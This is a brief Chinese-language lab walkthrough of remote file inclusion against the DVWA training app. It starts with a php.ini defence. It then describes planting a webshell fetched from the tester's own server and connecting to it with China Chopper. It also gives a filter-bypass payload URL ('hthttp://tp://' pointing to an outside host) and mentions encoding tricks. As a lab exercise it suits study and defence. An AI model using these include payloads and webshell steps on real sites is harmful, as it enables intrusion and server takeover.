遠程文件包含漏洞想要徹底防御，可以在服務器上的 php.ini 文件中將 allow_url_fopen 選項a把 on 改為 off
owasp的文件路徑為/etc/php5/cli/php.ini（各系統會根據安裝路徑出現異同）
遠程文件包含漏洞利用的思路是自己搭建一個服務器，將文件放在自己搭建的服務器內，遠程包含即可
這里使用apache；開啟服務
我們在網站的主目錄下建立一個文件，webshell.txt，寫入一下代碼
在靶機上遠程包含該文件
在網站目錄下可以看到webshell.php已經被創建了
老樣子，菜刀連接
將DVWA security等級調為 medium，后端源碼限制變為：
str_replace()函數將 http:// 字符替換為空，我們可以進行簡單的繞過，
比如在url中插入http://：hthttp://tp://192.168.243.130/webshell.txt
又或者進行編碼繞過，把 http:// 編碼為16進制或者Unicode、ASCⅡ、URL編碼等。
當DVWA security等級調為high時：
直接限制包含文件為 include.php。當前無解。